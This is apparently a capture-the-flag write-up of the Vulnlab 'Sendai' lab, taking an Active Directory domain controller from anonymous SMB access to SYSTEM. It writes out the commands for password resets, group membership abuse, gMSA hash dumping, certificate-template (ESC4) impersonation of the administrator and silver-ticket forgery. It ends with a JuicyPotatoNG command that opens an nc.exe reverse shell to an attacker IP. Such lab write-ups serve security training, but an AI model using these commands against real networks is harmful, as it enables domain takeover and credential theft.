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Vulnlab/Sendai.vl
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Vulnlab/Sendai.vl
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# Vulnlab - Sendai
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```bash
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PORT STATE SERVICE VERSION
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53/tcp open domain Simple DNS Plus
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80/tcp open http Microsoft IIS httpd 10.0
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|_http-server-header: Microsoft-IIS/10.0
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88/tcp open kerberos-sec
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135/tcp open msrpc Microsoft Windows RPC
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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443/tcp open ssl/http Microsoft IIS httpd 10.0
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|_ssl-date: TLS randomness does not represent time
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| ssl-cert: Subject: commonName=dc.sendai.vl
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| Subject Alternative Name: DNS:dc.sendai.vl
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| Issuer: commonName=dc.sendai.vl
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|_http-server-header: Microsoft-IIS/10.0
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| http-methods:
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|_ Supported Methods: GET
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445/tcp open microsoft-ds?
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3389/tcp open ms-wbt-server Microsoft Terminal Services
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| ssl-cert: Subject: commonName=dc.sendai.vl
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| Issuer: commonName=dc.sendai.vl
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2024-05-04T16:24:01
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| Not valid after: 2024-11-03T16:24:01
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| MD5: 6198fc32527e478294e38fd5c6a2b81e
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|_SHA-1: 73b4d1026b49e0cb9c0d633982377e74f32b7db3
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|_ssl-date: 2024-05-05T16:28:56+00:00; -1m22s from scanner time.
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5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
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|_http-server-header: Microsoft-HTTPAPI/2.0
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|_http-title: Not Found
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49664/tcp open unknown
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56740/tcp open unknown
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56744/tcp open unknown
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```
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## PORT 80/443
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<img src="https://i.imgur.com/2xyBd1B.png"/>
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Running gobuster, we can find `/service`
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<img src="https://i.imgur.com/41s7K0i.png"/>
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However this endpoints shows that we don't have access to it
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<img src="https://i.imgur.com/YgAmiLH.png"/>
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## PORT 445
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Enumerating smb shares with anonymous login, we'll see `config`, `sendai` and `Users` share, where config was not accessible, Users didn't anything but sendai had some interesting files
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<img src="https://i.imgur.com/mQaCMNk.png"/>
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<img src="https://i.imgur.com/OjZZNAR.png"/>
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<img src="https://i.imgur.com/kSTgBfG.png"/>
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The incident talked about users having weak passwords, all users will be prompted to change their password on logging in, the transfer directory had user's directories
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<img src="https://i.imgur.com/Ob5kSkE.png"/>
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## Resetting domain user's password
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These users can also be enumerated through `lookupsid` by brute forcing sids
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<img src="https://i.imgur.com/cNM7HDk.png"/>
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On trying to login with null password, we'll get two users with password to be changed
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<img src="https://i.imgur.com/bWjdAf4.png"/>
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Password can be changed with `impacket-smbpasswd`
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```bash
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impacket-smbpasswd sendai.vl/Thomas.Powell@dc.sendai.vl -newpass '$aduwu123'
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```
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<img src="https://i.imgur.com/2naixZH.png"/>
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<img src="https://i.imgur.com/3NWYOCE.png"/>
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From config share, we can grab `.sqlconfig` having credentials to MSSQL
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<img src="https://i.imgur.com/iOaiZ2c.png"/>
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<img src="https://i.imgur.com/oQ0cAH9.png"/>
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But this service isn't exposed to us so moving on to enumerating the domain with bloodhound
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```bash
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python3 bloodhound.py -u sqlsvc -p password -d sendai.vl -c all -dc dc.sendai.vl -ns 10.10.104.41
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```
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<img src="https://i.imgur.com/JM5mhTv.png"/>
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Thomas.Powell is a member of `Support` group has `GenericAll` on `ADMSVC` group which has `ReadGMSAPassword` on `MGTSVC$` account. We'll need to add thomas in ADMSVC group, read the NThash of MGTSVC account
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<img src="https://i.imgur.com/BRPHbql.png"/>
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## Abusing GenericAll and reading GMSA password
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Through` bloodyAD` we can add thomas in ADMSVC group having genericall rights
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```bash
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python3 bloodyAD.py --host "10.10.104.41" -d 'sendai.vl' -u 'thomas.powell' -p '$aduwu123' add groupMember ADMSVC thomas.powell
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```
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<img src="https://i.imgur.com/cS1zoYy.png"/>
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With gmsadumper script or with netexec we can dump the nthash of mgtsvc account
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```bash
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python3 gMSADumper.py -u 'thomas.powell' -p '$aduwu123' -d sendai.vl -l 10.10.104.41
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```
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<img src="https://i.imgur.com/ina1lCb.png"/>
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This account can login on DC as it's part of `Remote Management` group
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<img src="https://i.imgur.com/uwRvgKc.png"/>
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Checking the privileges after logging in through evil-winrm, it doesn't have any privilege that we can abuse to get local admin
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<img src="https://i.imgur.com/jxAX90R.png"/>
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## Obtaining clifford's password
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From the running process, we have helpdesk which doesn't normally run on a system
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<img src="https://i.imgur.com/IxlngBF.png"/>
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Enumerating the system with `PrivescCheck.ps1`
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<img src="https://i.imgur.com/yO9Rckp.png"/>
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This will list down the running processes from where we'll find the clifford.davey's creds
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<img src="https://i.imgur.com/NPt3pB3.png|"/>
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## Enumerating ADCS
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This user belongs to `CA-Operators` group, so this likely will be able to enroll in a custom template, enumerating templates with `certipy`
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<img src="https://i.imgur.com/Vgev4wX.png"/>
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## Escalating privileges through ESC4
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```bash
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certipy find -u clifford.davey -vulnerable -target dc.sendai.vl -dc-ip 10.10.115.126 -stdout
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```
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This lists down a template `SendaiComputer` which has EKU set to `Client Authentication` that can be used to authenticate on the system and ca-operators group has Full control over this template which means we can edit this template and impersonate as the domain admin, which is known as ESC4 (access control) abuse
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<img src="https://i.imgur.com/mQUF4HH.png"/>
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<img src="https://i.imgur.com/A10lXkN.png"/>
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With certipy, we can change the configuration of this template to allow domain users to enroll for this template and impersonate any user
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```bash
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certipy template -u clifford.davey -target dc.sendai.vl -dc-ip 10.10.115.126 -template SendaiComputer
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```
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<img src="https://i.imgur.com/YycVHAi.png"/>
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<img src="https://i.imgur.com/FEVEUWg.png"/>
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```bash
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certipy req -u 'clifford.davey' -ca 'sendai-DC-CA' -dc-ip 10.10.115.126 -target dc.sendai.vl -template 'SendaiComputer' -upn administrator
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```
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<img src="https://i.imgur.com/pCSgIFn.png"/>
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```bash
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certipy auth -pfx ./administrator.pfx -domain sendai.vl
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```
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<img src="https://i.imgur.com/vgGRaVx.png"/>
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## Escalating with SeImpersonate privilege
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Another way of escalating privileges is through mssql, since mssql is running internally, having access on the machine we can port forward with`chisel`
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```bash
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chisel server -p 2222 --reverse
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chisel.exe client 10.8.0.136:2222 R:socks
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```
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<img src="https://i.imgur.com/hSVXA3l.png"/>
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But we'll get login denied for sqlsvc account
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<img src="https://i.imgur.com/7dUxhoi.png"/>
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With `ticketer,` forging a silver ticket for accessing MSSQL service as an administrator
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```bash
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ticketer.py -domain-sid S-1-5-21-3085872742-570972823-736764132 -domain sendai.vl -spn MSSQL/dc.sendai.vl -nthash hash Administrator
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```
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<img src="https://i.imgur.com/iOKxMa4.png"/>
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<img src="https://i.imgur.com/ZlBgszU.png"/>
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Enabling `xp_cmdshell` which will allow us to execute system commands as sqlsvc
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<img src="https://i.imgur.com/DDGiMXV.png"/>
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The difference here is that we'll have `SeImpersonate` privilege, which can abuse to get local admin
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<img src="https://i.imgur.com/CvG90gg.png"/>
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<img src="https://i.imgur.com/tdEDy5t.png"/>
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Using `juicypotato-ng` to abuse the privilege and get a shell a SYSTEM
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```bash
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.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Users\sqlsvc\nc.exe 10.8.0.136 4444 -e cmd.exe"
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```
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<img src="https://i.imgur.com/22805js.png"/>
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# References
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- https://exploit-notes.hdks.org/exploit/windows/active-directory/smb-pentesting/
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- https://github.com/itm4n/PrivescCheck
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- https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services
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